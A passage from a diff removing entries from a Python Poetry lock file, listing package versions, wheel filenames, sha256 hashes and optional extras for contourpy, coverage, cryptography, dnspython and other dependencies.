"sha256:ca658cd1a680a5c9ea96dc61cdbae1e85c8f25849843aa799dfd3cb370ad4fbe"}, - {file = "contourpy-1.3.3-cp314-cp314t-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ab2fd90904c503739a75b7c8c5c01160130ba67944a7b77bbf36ef8054576e7f"}, - {file = "contourpy-1.3.3-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b7301b89040075c30e5768810bc96a8e8d78085b47d8be6e4c3f5a0b4ed478a0"}, - {file = "contourpy-1.3.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:2a2a8b627d5cc6b7c41a4beff6c5ad5eb848c88255fda4a8745f7e901b32d8e4"}, - {file = "contourpy-1.3.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:fd6ec6be509c787f1caf6b247f0b1ca598bef13f4ddeaa126b7658215529ba0f"}, - {file = "contourpy-1.3.3-cp314-cp314t-win32.whl", hash = "sha256:e74a9a0f5e3fff48fb5a7f2fd2b9b70a3fe014a67522f79b7cca4c0c7e43c9ae"}, - {file = "contourpy-1.3.3-cp314-cp314t-win_amd64.whl", hash = "sha256:13b68d6a62db8eafaebb8039218921399baf6e47bf85006fd8529f2a08ef33fc"}, - {file = "contourpy-1.3.3-cp314-cp314t-win_arm64.whl", hash = "sha256:b7448cb5a725bb1e35ce88771b86fba35ef418952474492cf7c764059933ff8b"}, - {file = "contourpy-1.3.3-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:cd5dfcaeb10f7b7f9dc8941717c6c2ade08f587be2226222c12b25f0483ed497"}, - {file = "contourpy-1.3.3-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:0c1fc238306b35f246d61a1d416a627348b5cf0648648a031e14bb8705fcdfe8"}, - {file = "contourpy-1.3.3-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:70f9aad7de812d6541d29d2bbf8feb22ff7e1c299523db288004e3157ff4674e"}, - {file = "contourpy-1.3.3-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ed3657edf08512fc3fe81b510e35c2012fbd3081d2e26160f27ca28affec989"}, - {file = "contourpy-1.3.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:3d1a3799d62d45c18bafd41c5fa05120b96a28079f2393af559b843d1a966a77"}, - {file = "contourpy-1.3.3.tar.gz", hash = "sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f2848c3dbe880"}, -] - -[package.dependencies] -numpy = ">=1.25" - -[package.extras] -bokeh = ["bokeh", "selenium"] -docs = ["furo", "sphinx (>=7.2)", "sphinx-copybutton"] -mypy = ["bokeh", "contourpy[bokeh,docs]", "docutils-stubs", "mypy (==1.17.0)", "types-Pillow"] -test = ["Pillow", "contourpy[test-no-images]", "matplotlib"] -test-no-images = ["pytest", "pytest-cov", "pytest-rerunfailures", "pytest-xdist", "wurlitzer"] - -[[package]] -name = "coverage" -version = "7.10.3" -description = "Code coverage measurement for Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "coverage-7.10.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:53808194afdf948c462215e9403cca27a81cf150d2f9b386aee4dab614ae2ffe"}, - {file = "coverage-7.10.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f4d1b837d1abf72187a61645dbf799e0d7705aa9232924946e1f57eb09a3bf00"}, - {file = "coverage-7.10.3-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2a90dd4505d3cc68b847ab10c5ee81822a968b5191664e8a0801778fa60459fa"}, - {file = "coverage-7.10.3-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d52989685ff5bf909c430e6d7f6550937bc6d6f3e6ecb303c97a86100efd4596"}, - {file = "coverage-7.10.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bdb558a1d97345bde3a9f4d3e8d11c9e5611f748646e9bb61d7d612a796671b5"}, - {file = "coverage-7.10.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c9e6331a8f09cb1fc8bda032752af03c366870b48cce908875ba2620d20d0ad4"}, - {file = "coverage-7.10.3-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:992f48bf35b720e174e7fae916d943599f1a66501a2710d06c5f8104e0756ee1"}, - {file = "coverage-7.10.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c5595fc4ad6a39312c786ec3326d7322d0cf10e3ac6a6df70809910026d67cfb"}, - {file = "coverage-7.10.3-cp310-cp310-win32.whl", hash = "sha256:9e92fa1f2bd5a57df9d00cf9ce1eb4ef6fccca4ceabec1c984837de55329db34"}, - {file = "coverage-7.10.3-cp310-cp310-win_amd64.whl", hash = "sha256:b96524d6e4a3ce6a75c56bb15dbd08023b0ae2289c254e15b9fbdddf0c577416"}, - {file = "coverage-7.10.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f2ff2e2afdf0d51b9b8301e542d9c21a8d084fd23d4c8ea2b3a1b3c96f5f7397"}, - {file = "coverage-7.10.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:18ecc5d1b9a8c570f6c9b808fa9a2b16836b3dd5414a6d467ae942208b095f85"}, - {file = "coverage-7.10.3-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1af4461b25fe92889590d438905e1fc79a95680ec2a1ff69a591bb3fdb6c7157"}, - {file = "coverage-7.10.3-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:3966bc9a76b09a40dc6063c8b10375e827ea5dfcaffae402dd65953bef4cba54"}, - {file = "coverage-7.10.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:205a95b87ef4eb303b7bc5118b47b6b6604a644bcbdb33c336a41cfc0a08c06a"}, - {file = "coverage-7.10.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5b3801b79fb2ad61e3c7e2554bab754fc5f105626056980a2b9cf3aef4f13f84"}, - {file = "coverage-7.10.3-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:b0dc69c60224cda33d384572da945759756e3f06b9cdac27f302f53961e63160"}, - {file = "coverage-7.10.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a83d4f134bab2c7ff758e6bb1541dd72b54ba295ced6a63d93efc2e20cb9b124"}, - {file = "coverage-7.10.3-cp311-cp311-win32.whl", hash = "sha256:54e409dd64e5302b2a8fdf44ec1c26f47abd1f45a2dcf67bd161873ee05a59b8"}, - {file = "coverage-7.10.3-cp311-cp311-win_amd64.whl", hash = "sha256:30c601610a9b23807c5e9e2e442054b795953ab85d525c3de1b1b27cebeb2117"}, - {file = "coverage-7.10.3-cp311-cp311-win_arm64.whl", hash = "sha256:dabe662312a97958e932dee056f2659051d822552c0b866823e8ba1c2fe64770"}, - {file = "coverage-7.10.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:449c1e2d3a84d18bd204258a897a87bc57380072eb2aded6a5b5226046207b42"}, - {file = "coverage-7.10.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1d4f9ce50b9261ad196dc2b2e9f1fbbee21651b54c3097a25ad783679fd18294"}, - {file = "coverage-7.10.3-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4dd4564207b160d0d45c36a10bc0a3d12563028e8b48cd6459ea322302a156d7"}, - {file = "coverage-7.10.3-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:5ca3c9530ee072b7cb6a6ea7b640bcdff0ad3b334ae9687e521e59f79b1d0437"}, - {file = "coverage-7.10.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b6df359e59fa243c9925ae6507e27f29c46698359f45e568fd51b9315dbbe587"}, - {file = "coverage-7.10.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a181e4c2c896c2ff64c6312db3bda38e9ade2e1aa67f86a5628ae85873786cea"}, - {file = "coverage-7.10.3-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a374d4e923814e8b72b205ef6b3d3a647bb50e66f3558582eda074c976923613"}, - {file = "coverage-7.10.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:daeefff05993e5e8c6e7499a8508e7bd94502b6b9a9159c84fd1fe6bce3151cb"}, - {file = "coverage-7.10.3-cp312-cp312-win32.whl", hash = "sha256:187ecdcac21f9636d570e419773df7bd2fda2e7fa040f812e7f95d0bddf5f79a"}, - {file = "coverage-7.10.3-cp312-cp312-win_amd64.whl", hash = "sha256:4a50ad2524ee7e4c2a95e60d2b0b83283bdfc745fe82359d567e4f15d3823eb5"}, - {file = "coverage-7.10.3-cp312-cp312-win_arm64.whl", hash = "sha256:c112f04e075d3495fa3ed2200f71317da99608cbb2e9345bdb6de8819fc30571"}, - {file = "coverage-7.10.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b99e87304ffe0eb97c5308447328a584258951853807afdc58b16143a530518a"}, - {file = "coverage-7.10.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4af09c7574d09afbc1ea7da9dcea23665c01f3bc1b1feb061dac135f98ffc53a"}, - {file = "coverage-7.10.3-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:488e9b50dc5d2aa9521053cfa706209e5acf5289e81edc28291a24f4e4488f46"}, - {file = "coverage-7.10.3-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:913ceddb4289cbba3a310704a424e3fb7aac2bc0c3a23ea473193cb290cf17d4"}, - {file = "coverage-7.10.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b1f91cbc78c7112ab84ed2a8defbccd90f888fcae40a97ddd6466b0bec6ae8a"}, - {file = "coverage-7.10.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b0bac054d45af7cd938834b43a9878b36ea92781bcb009eab040a5b09e9927e3"}, - {file = "coverage-7.10.3-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:fe72cbdd12d9e0f4aca873fa6d755e103888a7f9085e4a62d282d9d5b9f7928c"}, - {file = "coverage-7.10.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c1e2e927ab3eadd7c244023927d646e4c15c65bb2ac7ae3c3e9537c013700d21"}, - {file = "coverage-7.10.3-cp313-cp313-win32.whl", hash = "sha256:24d0c13de473b04920ddd6e5da3c08831b1170b8f3b17461d7429b61cad59ae0"}, - {file = "coverage-7.10.3-cp313-cp313-win_amd64.whl", hash = "sha256:3564aae76bce4b96e2345cf53b4c87e938c4985424a9be6a66ee902626edec4c"}, - {file = "coverage-7.10.3-cp313-cp313-win_arm64.whl", hash = "sha256:f35580f19f297455f44afcd773c9c7a058e52eb6eb170aa31222e635f2e38b87"}, - {file = "coverage-7.10.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:07009152f497a0464ffdf2634586787aea0e69ddd023eafb23fc38267db94b84"}, - {file = "coverage-7.10.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8dd2ba5f0c7e7e8cc418be2f0c14c4d9e3f08b8fb8e4c0f83c2fe87d03eb655e"}, - {file = "coverage-7.10.3-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1ae22b97003c74186e034a93e4f946c75fad8c0ce8d92fbbc168b5e15ee2841f"}, - {file = "coverage-7.10.3-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:eb329f1046888a36b1dc35504d3029e1dd5afe2196d94315d18c45ee380f67d5"}, - {file = "coverage-7.10.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ce01048199a91f07f96ca3074b0c14021f4fe7ffd29a3e6a188ac60a5c3a4af8"}, - {file = "coverage-7.10.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:08b989a06eb9dfacf96d42b7fb4c9a22bafa370d245dc22fa839f2168c6f9fa1"}, - {file = "coverage-7.10.3-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:669fe0d4e69c575c52148511029b722ba8d26e8a3129840c2ce0522e1452b256"}, - {file = "coverage-7.10.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:3262d19092771c83f3413831d9904b1ccc5f98da5de4ffa4ad67f5b20c7aaf7b"}, - {file = "coverage-7.10.3-cp313-cp313t-win32.whl", hash = "sha256:cc0ee4b2ccd42cab7ee6be46d8a67d230cb33a0a7cd47a58b587a7063b6c6b0e"}, - {file = "coverage-7.10.3-cp313-cp313t-win_amd64.whl", hash = "sha256:03db599f213341e2960430984e04cf35fb179724e052a3ee627a068653cf4a7c"}, - {file = "coverage-7.10.3-cp313-cp313t-win_arm64.whl", hash = "sha256:46eae7893ba65f53c71284585a262f083ef71594f05ec5c85baf79c402369098"}, - {file = "coverage-7.10.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:bce8b8180912914032785850d8f3aacb25ec1810f5f54afc4a8b114e7a9b55de"}, - {file = "coverage-7.10.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:07790b4b37d56608536f7c1079bd1aa511567ac2966d33d5cec9cf520c50a7c8"}, - {file = "coverage-7.10.3-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e79367ef2cd9166acedcbf136a458dfe9a4a2dd4d1ee95738fb2ee581c56f667"}, - {file = "coverage-7.10.3-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:419d2a0f769f26cb1d05e9ccbc5eab4cb5d70231604d47150867c07822acbdf4"}, - {file = "coverage-7.10.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee221cf244757cdc2ac882e3062ab414b8464ad9c884c21e878517ea64b3fa26"}, - {file = "coverage-7.10.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c2079d8cdd6f7373d628e14b3357f24d1db02c9dc22e6a007418ca7a2be0435a"}, - {file = "coverage-7.10.3-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:bd8df1f83c0703fa3ca781b02d36f9ec67ad9cb725b18d486405924f5e4270bd"}, - {file = "coverage-7.10.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6b4e25e0fa335c8aa26e42a52053f3786a61cc7622b4d54ae2dad994aa754fec"}, - {file = "coverage-7.10.3-cp314-cp314-win32.whl", hash = "sha256:d7c3d02c2866deb217dce664c71787f4b25420ea3eaf87056f44fb364a3528f5"}, - {file = "coverage-7.10.3-cp314-cp314-win_amd64.whl", hash = "sha256:9c8916d44d9e0fe6cdb2227dc6b0edd8bc6c8ef13438bbbf69af7482d9bb9833"}, - {file = "coverage-7.10.3-cp314-cp314-win_arm64.whl", hash = "sha256:1007d6a2b3cf197c57105cc1ba390d9ff7f0bee215ced4dea530181e49c65ab4"}, - {file = "coverage-7.10.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:ebc8791d346410d096818788877d675ca55c91db87d60e8f477bd41c6970ffc6"}, - {file = "coverage-7.10.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1f4e4d8e75f6fd3c6940ebeed29e3d9d632e1f18f6fb65d33086d99d4d073241"}, - {file = "coverage-7.10.3-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:24581ed69f132b6225a31b0228ae4885731cddc966f8a33fe5987288bdbbbd5e"}, - {file = "coverage-7.10.3-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ec151569ddfccbf71bac8c422dce15e176167385a00cd86e887f9a80035ce8a5"}, - {file = "coverage-7.10.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2ae8e7c56290b908ee817200c0b65929b8050bc28530b131fe7c6dfee3e7d86b"}, - {file = "coverage-7.10.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5fb742309766d7e48e9eb4dc34bc95a424707bc6140c0e7d9726e794f11b92a0"}, - {file = "coverage-7.10.3-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c65e2a5b32fbe1e499f1036efa6eb9cb4ea2bf6f7168d0e7a5852f3024f471b1"}, - {file = "coverage-7.10.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:d48d2cb07d50f12f4f18d2bb75d9d19e3506c26d96fffabf56d22936e5ed8f7c"}, - {file = "coverage-7.10.3-cp314-cp314t-win32.whl", hash = "sha256:dec0d9bc15ee305e09fe2cd1911d3f0371262d3cfdae05d79515d8cb712b4869"}, - {file = "coverage-7.10.3-cp314-cp314t-win_amd64.whl", hash = "sha256:424ea93a323aa0f7f01174308ea78bde885c3089ec1bef7143a6d93c3e24ef64"}, - {file = "coverage-7.10.3-cp314-cp314t-win_arm64.whl", hash = "sha256:f5983c132a62d93d71c9ef896a0b9bf6e6828d8d2ea32611f58684fba60bba35"}, - {file = "coverage-7.10.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:da749daa7e141985487e1ff90a68315b0845930ed53dc397f4ae8f8bab25b551"}, - {file = "coverage-7.10.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3126fb6a47d287f461d9b1aa5d1a8c97034d1dffb4f452f2cf211289dae74ef"}, - {file = "coverage-7.10.3-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3da794db13cc27ca40e1ec8127945b97fab78ba548040047d54e7bfa6d442dca"}, - {file = "coverage-7.10.3-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4e27bebbd184ef8d1c1e092b74a2b7109dcbe2618dce6e96b1776d53b14b3fe8"}, - {file = "coverage-7.10.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8fd4ee2580b9fefbd301b4f8f85b62ac90d1e848bea54f89a5748cf132782118"}, - {file = "coverage-7.10.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:6999920bdd73259ce11cabfc1307484f071ecc6abdb2ca58d98facbcefc70f16"}, - {file = "coverage-7.10.3-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:c3623f929db885fab100cb88220a5b193321ed37e03af719efdbaf5d10b6e227"}, - {file = "coverage-7.10.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:25b902c5e15dea056485d782e420bb84621cc08ee75d5131ecb3dbef8bd1365f"}, - {file = "coverage-7.10.3-cp39-cp39-win32.whl", hash = "sha256:f930a4d92b004b643183451fe9c8fe398ccf866ed37d172ebaccfd443a097f61"}, - {file = "coverage-7.10.3-cp39-cp39-win_amd64.whl", hash = "sha256:08e638a93c8acba13c7842953f92a33d52d73e410329acd472280d2a21a6c0e1"}, - {file = "coverage-7.10.3-py3-none-any.whl", hash = "sha256:416a8d74dc0adfd33944ba2f405897bab87b7e9e84a391e09d241956bd953ce1"}, - {file = "coverage-7.10.3.tar.gz", hash = "sha256:812ba9250532e4a823b070b0420a36499859542335af3dca8f47fc6aa1a05619"}, -] - -[package.extras] -toml = ["tomli"] - -[[package]] -name = "cryptography" -version = "43.0.3" -description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "cryptography-43.0.3-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:bf7a1932ac4176486eab36a19ed4c0492da5d97123f1406cf15e41b05e787d2e"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63efa177ff54aec6e1c0aefaa1a241232dcd37413835a9b674b6e3f0ae2bfd3e"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e1ce50266f4f70bf41a2c6dc4358afadae90e2a1e5342d3c08883df1675374f"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:443c4a81bb10daed9a8f334365fe52542771f25aedaf889fd323a853ce7377d6"}, - {file = "cryptography-43.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:74f57f24754fe349223792466a709f8e0c093205ff0dca557af51072ff47ab18"}, - {file = "cryptography-43.0.3-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9762ea51a8fc2a88b70cf2995e5675b38d93bf36bd67d91721c309df184f49bd"}, - {file = "cryptography-43.0.3-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:81ef806b1fef6b06dcebad789f988d3b37ccaee225695cf3e07648eee0fc6b73"}, - {file = "cryptography-43.0.3-cp37-abi3-win32.whl", hash = "sha256:cbeb489927bd7af4aa98d4b261af9a5bc025bd87f0e3547e11584be9e9427be2"}, - {file = "cryptography-43.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:f46304d6f0c6ab8e52770addfa2fc41e6629495548862279641972b6215451cd"}, - {file = "cryptography-43.0.3-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:8ac43ae87929a5982f5948ceda07001ee5e83227fd69cf55b109144938d96984"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:846da004a5804145a5f441b8530b4bf35afbf7da70f82409f151695b127213d5"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f996e7268af62598f2fc1204afa98a3b5712313a55c4c9d434aef49cadc91d4"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f7b178f11ed3664fd0e995a47ed2b5ff0a12d893e41dd0494f406d1cf555cab7"}, - {file = "cryptography-43.0.3-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:c2e6fc39c4ab499049df3bdf567f768a723a5e8464816e8f009f121a5a9f4405"}, - {file = "cryptography-43.0.3-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e1be4655c7ef6e1bbe6b5d0403526601323420bcf414598955968c9ef3eb7d16"}, - {file = "cryptography-43.0.3-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:df6b6c6d742395dd77a23ea3728ab62f98379eff8fb61be2744d4679ab678f73"}, - {file = "cryptography-43.0.3-cp39-abi3-win32.whl", hash = "sha256:d56e96520b1020449bbace2b78b603442e7e378a9b3bd68de65c782db1507995"}, - {file = "cryptography-43.0.3-cp39-abi3-win_amd64.whl", hash = "sha256:0c580952eef9bf68c4747774cde7ec1d85a6e61de97281f2dba83c7d2c806362"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d03b5621a135bffecad2c73e9f4deb1a0f977b9a8ffe6f8e002bf6c9d07b918c"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:a2a431ee15799d6db9fe80c82b055bae5a752bef645bba795e8e52687c69efe3"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:281c945d0e28c92ca5e5930664c1cefd85efe80e5c0d2bc58dd63383fda29f83"}, - {file = "cryptography-43.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f18c716be16bc1fea8e95def49edf46b82fccaa88587a45f8dc0ff6ab5d8e0a7"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4a02ded6cd4f0a5562a8887df8b3bd14e822a90f97ac5e544c162899bc467664"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:53a583b6637ab4c4e3591a15bc9db855b8d9dee9a669b550f311480acab6eb08"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1ec0bcf7e17c0c5669d881b1cd38c4972fade441b27bda1051665faaa89bdcaa"}, - {file = "cryptography-43.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2ce6fae5bdad59577b44e4dfed356944fbf1d925269114c28be377692643b4ff"}, - {file = "cryptography-43.0.3.tar.gz", hash = "sha256:315b9001266a492a6ff443b61238f956b214dbec9910a081ba5b6646a055a805"}, -] - -[package.dependencies] -cffi = {version = ">=1.12", markers = "platform_python_implementation != \"PyPy\""} - -[package.extras] -docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] -docstest = ["pyenchant (>=1.6.11)", "readme-renderer", "sphinxcontrib-spelling (>=4.0.1)"] -nox = ["nox"] -pep8test = ["check-sdist", "click", "mypy", "ruff"] -sdist = ["build"] -ssh = ["bcrypt (>=3.1.5)"] -test = ["certifi", "cryptography-vectors (==43.0.3)", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] -test-randomorder = ["pytest-randomly"] - -[[package]] -name = "cycler" -version = "0.12.1" -description = "Composable style cycles" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "cycler-0.12.1-py3-none-any.whl", hash = "sha256:85cef7cff222d8644161529808465972e51340599459b8ac3ccbac5a854e0d30"}, - {file = "cycler-0.12.1.tar.gz", hash = "sha256:88bb128f02ba341da8ef447245a9e138fae777f6a23943da4540077d3601eb1c"}, -] - -[package.extras] -docs = ["ipython", "matplotlib", "numpydoc", "sphinx"] -tests = ["pytest", "pytest-cov", "pytest-xdist"] - -[[package]] -name = "decorator" -version = "5.2.1" -description = "Decorators for Humans" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "decorator-5.2.1-py3-none-any.whl", hash = "sha256:d316bb415a2d9e2d2b3abcc4084c6502fc09240e292cd76a76afc106a1c8e04a"}, - {file = "decorator-5.2.1.tar.gz", hash = "sha256:65f266143752f734b0a7cc83c46f4618af75b8c5911b00ccb61d0ac9b6da0360"}, -] - -[[package]] -name = "dill" -version = "0.4.0" -description = "serialize all of Python" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "dill-0.4.0-py3-none-any.whl", hash = "sha256:44f54bf6412c2c8464c14e8243eb163690a9800dbe2c367330883b19c7561049"}, - {file = "dill-0.4.0.tar.gz", hash = "sha256:0633f1d2df477324f53a895b02c901fb961bdbf65a17122586ea7019292cbcf0"}, -] - -[package.extras] -graph = ["objgraph (>=1.7.2)"] -profile = ["gprof2dot (>=2022.7.29)"] - -[[package]] -name = "distlib" -version = "0.4.0" -description = "Distribution utilities" -optional = false -python-versions = "*" -groups = ["dev"] -files = [ - {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"}, - {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, -] - -[[package]] -name = "distro" -version = "1.9.0" -description = "Distro - an OS platform information API" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2"}, - {file = "distro-1.9.0.tar.gz", hash = "sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed"}, -] - -[[package]] -name = "dnspython" -version = "2.7.0" -description = "DNS toolkit" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, - {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, -] - -[package.extras] -dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] -dnssec = ["cryptography (>=43)"] -doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] -doq = ["aioquic (>=1.0.0)"] -idna = ["idna (>=3.7)"] -trio = ["trio (>=0.23)"] -wmi = ["wmi (>=1.5.1)"] - -[[package]] -name = "docker" -version = "7.1.0" -description = "A Python library for the Docker Engine API." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "docker-7.1.0-py3-none-any.whl", hash = 